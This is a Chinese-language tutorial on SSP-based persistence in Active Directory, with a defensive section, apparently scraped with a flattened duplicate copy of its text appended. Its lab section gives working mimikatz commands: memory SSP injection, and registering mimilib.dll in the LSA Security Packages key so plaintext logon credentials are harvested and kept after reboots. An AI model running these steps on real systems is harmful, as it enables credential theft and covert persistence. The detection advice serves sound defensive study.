AD域SSP权限维持与安全防护
字数 1205 2025-08-25 22:58:40

AD域SSP权限维持与安全防护技术文档

一、SSP/SSPI基础概念

1.1 SSP定义

SSP(Security Support Provider)是Windows操作系统安全机制的提供者,实质上是DLL文件,主要用于Windows操作系统的身份认证功能,包括:

  • NTLM
  • Kerberos
  • Negotiate
  • Secure Channel (Schannel)
  • Digest
  • Credential (CredSSP)

1.2 SSPI定义

SSPI(Security Support Provider Interface)是Windows操作系统在执行认证操作时使用的API接口,可以理解为SSP的API接口。

1.3 相关系统组件

  • LSA(Local Security Authority):负责本地安全和身份验证
  • lsass.exe:Windows系统进程,用于实现本地安全和登录策略

二、SSP权限维持攻击原理

攻击者通过扩展LSA,将自定义的恶意DLL文件在系统启动时加载到lsass.exe进程中,从而:

  1. 获取lsass.exe进程中的明文密码
  2. 即使用户更改密码并重新登录,仍能获取新密码
  3. 实现持久化权限维持

三、攻击实验操作

3.1 实验一:内存注入SSP(非持久化)

步骤:

  1. 使用mimikatz执行以下命令:
    privilege::debug
    misc::memssp
    
  2. 注销当前用户并重新登录
  3. 获取明文密码(存储在C:\Windows\system32\mimilsa.log中):
    type C:\Windows\system32\mimilsa.log
    

特点:

  • 不会在系统中留下二进制文件
  • 域控制器重启后注入的SSP会丢失

3.2 实验二:DLL注册表注入(持久化)

步骤:

  1. 将mimikatz的mimilib.dll复制到系统目录:

    copy mimilib.dll %systemroot%\system32
    

    注意:DLL位数需与Windows系统位数相同

  2. 查询当前Security Packages:

    reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"
    
  3. 修改注册表添加mimilib(需在PowerShell下执行):

    reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ
    
  4. 系统重启后,登录凭证将被记录在:

    C:\Windows\system32\kiwissp.log
    

特点:

  • 系统重启后仍有效
  • 实现持久化权限维持

四、安全防护措施

4.1 注册表检查

检查以下注册表项是否存在可疑DLL:

hklm\system\currentcontrolset\control\lsa\Security Packages

4.2 文件系统检查

检查系统目录是否存在可疑DLL:

%windir%\System32

4.3 使用第三方工具检测

推荐使用Microsoft Sysinternals套件中的Autoruns工具:

  • 下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/autoruns
  • 重点检查LSA加载项

五、参考资源

  1. SSP权限维持技术详解
  2. Windows认证机制与安全防护

六、总结

SSP权限维持是一种高级的持久化攻击技术,攻击者通过注入恶意SSP可以持续获取系统认证凭据。防御此类攻击需要:

  1. 定期检查注册表和系统目录
  2. 监控lsass.exe进程异常行为
  3. 使用专业工具进行安全审计
  4. 实施最小权限原则,限制对关键系统组件的访问
AD域SSP权限维持与安全防护技术文档 一、SSP/SSPI基础概念 1.1 SSP定义 SSP(Security Support Provider)是Windows操作系统安全机制的提供者,实质上是DLL文件,主要用于Windows操作系统的身份认证功能,包括: NTLM Kerberos Negotiate Secure Channel (Schannel) Digest Credential (CredSSP) 1.2 SSPI定义 SSPI(Security Support Provider Interface)是Windows操作系统在执行认证操作时使用的API接口,可以理解为SSP的API接口。 1.3 相关系统组件 LSA(Local Security Authority) :负责本地安全和身份验证 lsass.exe :Windows系统进程,用于实现本地安全和登录策略 二、SSP权限维持攻击原理 攻击者通过扩展LSA,将自定义的恶意DLL文件在系统启动时加载到lsass.exe进程中,从而: 获取lsass.exe进程中的明文密码 即使用户更改密码并重新登录,仍能获取新密码 实现持久化权限维持 三、攻击实验操作 3.1 实验一:内存注入SSP(非持久化) 步骤: 使用mimikatz执行以下命令: 注销当前用户并重新登录 获取明文密码(存储在 C:\Windows\system32\mimilsa.log 中): 特点: 不会在系统中留下二进制文件 域控制器重启后注入的SSP会丢失 3.2 实验二:DLL注册表注入(持久化) 步骤: 将mimikatz的mimilib.dll复制到系统目录: 注意:DLL位数需与Windows系统位数相同 查询当前Security Packages: 修改注册表添加mimilib(需在PowerShell下执行): 系统重启后,登录凭证将被记录在: 特点: 系统重启后仍有效 实现持久化权限维持 四、安全防护措施 4.1 注册表检查 检查以下注册表项是否存在可疑DLL: 4.2 文件系统检查 检查系统目录是否存在可疑DLL: 4.3 使用第三方工具检测 推荐使用Microsoft Sysinternals套件中的 Autoruns 工具: 下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/autoruns 重点检查LSA加载项 五、参考资源 SSP权限维持技术详解 Windows认证机制与安全防护 六、总结 SSP权限维持是一种高级的持久化攻击技术,攻击者通过注入恶意SSP可以持续获取系统认证凭据。防御此类攻击需要: 定期检查注册表和系统目录 监控lsass.exe进程异常行为 使用专业工具进行安全审计 实施最小权限原则,限制对关键系统组件的访问